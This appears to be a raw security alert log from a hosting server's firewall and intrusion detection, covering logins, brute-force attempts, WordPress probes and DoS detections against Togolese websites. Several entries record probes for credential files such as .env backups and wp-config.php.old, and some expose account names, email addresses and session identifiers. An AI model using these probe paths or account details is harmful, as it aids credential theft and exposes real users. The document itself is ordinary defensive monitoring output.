IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.176.254.197
country_id: 2363686
description:
[2026-07-01 10:52:01 +0000] info [cpaneld] 102.176.254.197 NEW bighostingsnbd:xAJt_A9bx2u97gBt address=102.176.254.197,app=cpaneld,creator=bighostingsnbd,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 87.106.77.124
country_id: 2921044
domain: togomedia24.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/wp-json/wp/v2/users/me||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.61.224.218
country_id: 2921044
description:
[2026-07-01 10:53:33 +0000] info [cpaneld] 202.61.224.218 - ifxmoxbf "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL track
abuser: 104.64.152.214
country_id: 1861060
domain: brmn.tg
description:
IM360 WAF: WordPress Bruteforce RBL track||Name:admin||WPU:admin||User:zgqykfsi||Script:/home/zgqykfsi/public_html/wp-login.php||RSV:8.22||T:APACHE||MV:/wp-login.php||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.207.188.29
country_id: 2363686
description:
41.207.188.29 - - [01/Jul/2026:10:54:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869467&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D14595&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782903263 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=14595" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.207.188.29


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 10:55:30 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:46394: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 89.249.195.213
country_id: 6252001
domain: www.zephyr.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:89.249.195.213||TA:89.249.195.213||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 74.63.24.205
country_id: 2921044
description:
Denial of Service (DoS) attack was discovered from 74.63.24.205: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.154.148
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:emilebutodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3bdfcaea32ea3762f2695650d80451d1894813b8||Title:uyy9llszoka61r2ut3||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 152.59.154.148
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Identifiant ou mot de passe incorrect.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 104.196.16.41
country_id: 6252001
domain: djama.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/web/wp-json/wp/v2/users/||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.154.148
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:emilebutodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0e56b847a6ae3281733e80163d352e250546de24||Title:8ieh619nqo3qyxyaq||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 119.249.100.86
country_id: 1814991
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/index.php/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.28.15.93
country_id: 1643084
description:
[2026-07-01 11:01:57 +0000] info [whostmgrd] 103.28.15.93 - root "POST /json-api/create_user_session?api.version=1&user=root HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to WHM with bad accesshash or API token


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.28.15.93
country_id: 1643084
description:
[2026-07-01 11:02:02 +0000] info [whostmgrd] 103.28.15.93 - root "POST /json-api/create_user_session?api.version=1&user=root HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to WHM with bad accesshash or API token


plugin: ossec
rule: 11019
name: WHM session loaded via API from external IP
abuser: 103.28.15.93
country_id: 1643084
description:
[2026-07-01 11:02:24 +0000] info [whostmgrd] 103.28.15.93 NEW root:iUQfTc_4K2cfwA6P address=103.28.15.93,app=whostmgrd,creator=root,method=handle_form_login,path=loadsession:root:91CV9f8aj55ytPMd:create_user_session,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 162.252.52.170
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:162.252.52.170||TA:162.252.52.170||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 154.70.80.74
country_id: 2363686
description:
[2026-07-01 11:05:36 +0000] info [webmaild] 154.70.80.74 - koudjramey.akua@cloud-et-racks.tg "GET /cpsess1647434989/webmail/jupiter/index.html?mailclient=none HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.176.253.228
country_id: 2363686
description:
[2026-07-01 11:05:40 +0000] info [cpaneld] 102.176.253.228 NEW ucaouut:1LL2L3pbMGbiqsCS address=102.176.253.228,app=cpaneld,creator=ucaouut,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-07-01 11:06:32 +0000] info [cpaneld] 102.176.253.226 - ucaouut "GET /cpsess6794986504/frontend/jupiter/index.html?post_login=25527885593177&login=1 HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [102.176.253.228] != Current IP Address [102.176.253.226]


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-07-01 11:06:34 +0000] info [cpaneld] 102.176.253.226 NEW ucaouut:y42RynJ8AlEhwRtf address=102.176.253.226,app=cpaneld,creator=ucaouut,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 11:07:45 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:53490: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11009
name: WHM login success
abuser: 103.28.15.93
country_id: 1643084
description:
[2026-07-01 11:07:15 +0000] info [whostmgrd] 103.28.15.93 NEW bighostingsnbd:lfSOqgwfc8OteXBL address=103.28.15.93,app=cpaneld,creator=root,method=handle_auth_transfer,path=xfercpanel


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 103.28.15.93
country_id: 1643084
description:
[2026-07-01 11:07:17 +0000] info [cpaneld] 103.28.15.93 NEW bighostingsnbd:HI3LCsuP2vUOgH1N address=103.28.15.93,app=cpaneld,creator=bighostingsnbd,method=handle_form_login,path=loadsession:bighostingsnbd:lfSOqgwfc8OteXBL,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.20.165.170
country_id: 3469034
description:
Jul  1 11:13:37 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.20.165.170 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.119.197
country_id: 1880251
description:
47.128.119.197 - - [01/Jul/2026:11:15:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143595&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D14656&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782904502 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=14656" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.119.197


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.225.45
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1703 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.56.195.4
country_id: 99237
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=379 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.110.116.32
country_id: 294640
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2004 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 129.224.206.53
country_id: 163843
description:
129.224.206.53 - - [01/Jul/2026:11:18:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13330286&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-30163retid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782904701 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-30163retid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:129.224.206.53


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.171.184.174
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=802 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.18.27
country_id: 99237
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=376 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.181.26.70
country_id: 1327865
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=355 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.22.100.173
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?cat=47 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.111.225.162
country_id: 1210997
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?author=1&paged=10 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 112.133.255.183
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0bf66141105fe2fd48550de84c756db388e828ad||Title:9khl22nk76cxesiv||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.233.167.72
country_id: 1835841
description:
[2026-07-01 11:20:45 +0000] info [cpaneld] 84.233.167.72 - kpmg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.233.167.72
country_id: 1835841
description:
[2026-07-01 11:25:00 +0000] info [cpaneld] 84.233.167.72 - a.kesso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.kesso (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.171.67.165
country_id: 2363686
description:
[2026-07-01 11:24:42 +0000] info [webmaild] 196.171.67.165 - mkoudahe@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 84.233.167.72
country_id: 1835841
description:
[2026-07-01 11:25:00 +0000] info [cpaneld] 84.233.167.72 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.162.199
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>en visite officielle au tchad, le pr\xc3\xa9sident de l\xe2\x80\x99assembl\xc3\xa9e nationale, le professeur komi selom klassou, a pris part, en qualit\xc3\xa9 d\xe2\x80\x99invit\xc3\xa9 d\xe2\x80\x99honneur, \xc3\xa0 la c\xc3\xa9r\xc3\xa9monie de cl\xc3\xb4ture de la premi\xc3\xa8re session ordinaire de l\xe2\x80\x99ann\xc3\xa9e de la 4\xe1\xb5\x89</em></strong><strong><em> l\xc3\xa9gislature de l\xe2\x80\x99assembl\xc3\xa9e nationale tchadienne. \xc3\x80 cette occasion, il a r\xc3\xa9affirm\xc3\xa9 la solidit\xc3\xa9 des liens historiques entre lom\xc3\xa9 et n\xe2\x80\x99djamena et appel\xc3\xa9 \xc3\xa0 une coop\xc3\xa9ration parlementaire africaine plus ambitieuse au service de la paix, du d\xc3\xa9veloppement et de l\xe2\x80\x99int\xc3\xa9gration du continent.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>les notes de l\xe2\x80\x99hymne national tchadien r\xc3\xa9sonnent dans l\xe2\x80\x99enceinte du palais de la d\xc3\xa9mocratie \xc3\xa0 n\xe2\x80\x99djamena. un c\xc3\xa9r\xc3\xa9monial empreint de solennit\xc3\xa9 qui ouvre cette ultime s\xc3\xa9ance de la premi\xc3\xa8re session ordinaire de l\xe2\x80\x99ann\xc3\xa9e de la 4e l\xc3\xa9gislature, plac\xc3\xa9e sous le signe de la fraternit\xc3\xa9 parlementaire entre le togo et le tchad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>invit\xc3\xa9 d\xe2\x80\x99honneur, le professeur komi selom klassou, pr\xc3\xa9sident de l\xe2\x80\x99assembl\xc3\xa9e nationale du togo, \xc3\xa0 la t\xc3\xaate d\xe2\x80\x99une d\xc3\xa9l\xc3\xa9gation parlementaire pour consolider les excellents liens d\xe2\x80\x99amiti\xc3\xa9 et de coop\xc3\xa9ration qui unissent deux pays fr\xc3\xa8res, li\xc3\xa9s par l\xe2\x80\x99histoire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31760,\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/07/atchad.jpg\" alt=\"\" class=\"wp-image-31760\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>\xc3\x80 l\xe2\x80\x99ouverture des travaux, le pr\xc3\xa9sident de l\xe2\x80\x99assembl\xc3\xa9e nationale de la r\xc3\xa9publique du tchad, monsieur ali kolotou tcha\xc3\xafmi, a salu\xc3\xa9 la participation du togo, pays invit\xc3\xa9 d\xe2\x80\x99honneur de cette session, tout en soulignant la qualit\xc3\xa9 des relations entre lom\xc3\xa9 et n\xe2\x80\x99djam\xc3\xa9na, fond\xc3\xa9e sur la solidarit\xc3\xa9 et la concertation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab votre pr\xc3\xa9sence parmi nous, ainsi que celle de la forte d\xc3\xa9l\xc3\xa9gation qui vous accompagne, constitue un grand honneur pour notre pays. elle concr\xc3\xa9tise l\xe2\x80\x99engagement fraternel pris \xc3\xa0 lom\xc3\xa9 le 7 avril dernier et t\xc3\xa9moigne de l\xe2\x80\x99excellence des relations qui unissent nos deux peuples.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>au-del\xc3\xa0 de son caract\xc3\xa8re protocolaire, votre s\xc3\xa9jour au tchad ouvre de nouvelles perspectives de coop\xc3\xa9ration entre nos deux assembl\xc3\xa9es s\xc5\x93urs, notamment dans les domaines de la diplomatie parlementaire, du partage d\xe2\x80\x99exp\xc3\xa9riences l\xc3\xa9gislatives et du renforcement des capacit\xc3\xa9s institutionnelles.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>au nom de la repr\xc3\xa9sentation nationale tchadienne, je vous renouvelle nos sentiments de profonde estime et de fraternit\xc3\xa9, tout en vous souhaitant la plus chaleureuse bienvenue sur cette terre de touma\xc3\xaf, berceau de l\xe2\x80\x99humanit\xc3\xa9, ainsi qu\xe2\x80\x99un excellent s\xc3\xa9jour parmi nous \xc2\xbb.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31761,\"width\":\"672px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/07/1c26bb0b-bfef-4b77-bfdb-d18fdb58fb2f.jpg\" alt=\"\" class=\"wp-image-31761\" style=\"width:672px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>le professeur komi selom klassou, \xc3\xa0 la tribune, d\xc3\xa9livre un message ax\xc3\xa9 sur la solidarit\xc3\xa9, la fraternit\xc3\xa9 et le dialogue. il a rappel\xc3\xa9 que l\xe2\x80\x99excellence des relations entre le togo et le tchad ne date pas d\xe2\x80\x99aujourd\xe2\x80\x99hui, mais remonte \xc3\xa0 1980, t\xc3\xa9moignant d\xe2\x80\x99une coop\xc3\xa9ration ancienne et fraternelle entre deux fr\xc3\xa8res de sang aux destins crois\xc3\xa9s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab cette fraternit\xc3\xa9 entre le togo et le tchad, nous la ch\xc3\xa9rissons au plus profond du c\xc5\x93ur. oui, entre nos nations c\xe2\x80\x99est une romance tiss\xc3\xa9e dans les \xc3\xa9preuves, une complicit\xc3\xa9 forg\xc3\xa9e au feu de la solidarit\xc3\xa9. de tout temps, nos deux pays ont su r\xc3\xa9pondre \xc3\xa0 l\xe2\x80\x99appel l\xe2\x80\x99un de l\xe2\x80\x99autre. le togo apporte sa fraternit\xc3\xa9 ; le tchad offre sa r\xc3\xa9silience.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>en r\xc3\xa9pondant \xc3\xa0 votre invitation, monsieur le pr\xc3\xa9sident et cher fr\xc3\xa8re, il me presse de t\xc3\xa9moigner de la constance de cet engagement fraternel.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>comment pouvait-il en \xc3\xaatre autrement : tant de hauts faits en sont illustratifs ; j\xe2\x80\x99en retiendrai fondamentalement deux dates historiques, mais un seul acte symbolique de fraternit\xc3\xa9, de promesse pour la paix et pour le d\xc3\xa9veloppement durable.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31762,\"width\":\"566px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/07/22d5ac8d-3c51-49f8-baf9-c099554eb6e3.jpg\" alt=\"\" class=\"wp-image-31762\" style=\"width:566px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><em>avril 1980, le pr\xc3\xa9sident de la r\xc3\xa9publique du togo, le g\xc3\xa9n\xc3\xa9ral gnassingb\xc3\xa9 eyad\xc3\xa9ma, homme d\xe2\x80\x99etat, aujourd\xe2\x80\x99hui de v\xc3\xa9n\xc3\xa9r\xc3\xa9e m\xc3\xa9moire, au m\xc3\xa9pris de sa vie, traverse le fleuve chari dans une pirogue rudimentaire pour apporter la paix au pays fr\xc3\xa8re, le tchad, plong\xc3\xa9 dans une guerre civile chronique. en pleine tourmente, il ne voyait pas des bellig\xc3\xa9rants mais des fr\xc3\xa8res \xc3\xa0 r\xc3\xa9concilier, il voyait un pays \xc3\xa0 sauver de l\xe2\x80\x99abime par le biais de la m\xc3\xa9diation directe \xc2\xbb,</em> a-t-il rappel\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>cellule comm an</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 167.253.17.144
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:167.253.17.144||TA:167.253.17.144||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 103.42.219.193
country_id: 1327865
description:
Denial of Service (DoS) attack was discovered from 103.42.219.193: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 11:31:01 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:48788: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.244.49.204
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/developpement-a-la-base-16-342-auto-emplois-crees-entre-2024-et-2025/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.244.49.204
country_id: 1210997
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/developpement-a-la-base-16-342-auto-emplois-crees-entre-2024-et-2025/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.171.67.165
country_id: 2363686
description:
[2026-07-01 11:37:27 +0000] info [webmaild] 196.171.67.165 - mkoudahe@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.46
country_id: 6252001
description:
205.169.39.46 - - [01/Jul/2026:11:37:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119061&pdata=https%253A%252F%252Fderou.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782905838 HTTP/2.0" 302 0 derou.tg "https://derou.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.46


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.171.67.165
country_id: 2363686
description:
[2026-07-01 11:38:36 +0000] info [webmaild] 196.171.67.165 - mkoudahe@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.219.199
country_id: 6252001
domain: tensai.tg
description:
IM360 WAF: Bad file extension||RSV:8.22||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.php.bak||User:ulduzncs||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 104.28.219.199
country_id: 6252001
domain: tensai.tg
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.old||RSV:8.22||T:APACHE||REQUEST_URI:/wp-config.php.old||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 104.28.251.199
country_id: 6252001
domain: www.biom.tg.tensai.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.45
country_id: 1814991
description:
27.115.124.45 - - [01/Jul/2026:11:40:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9530004&pdata=https%253A%252F%252Ftogointerim.net%252Femplois%252Frecherche&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782906056 HTTP/2.0" 302 0 togointerim.net "https://togointerim.net/emplois/recherche" "Mozilla/5.0 (Linux; Android 11; V2055A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.45


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 104.28.251.199
country_id: 6252001
domain: www.biom.tg.tensai.tg
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.22||T:APACHE||MV:.env.swp||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.251.199
country_id: 6252001
domain: www.biom.tg.tensai.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:104.28.251.199||TA:104.28.251.199||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.251.199
country_id: 6252001
domain: www.biom.tg.tensai.tg
description:
IM360 WAF: Bad file extension||RSV:8.22||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.prod.bak||User:ulduzncs||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 194.180.236.57
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:194.180.236.57||TA:194.180.236.57||


plugin: modsec
rule: 77317977
name: IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)
abuser: 196.168.149.238
country_id: 2363686
domain: togomedia24.tg
description:
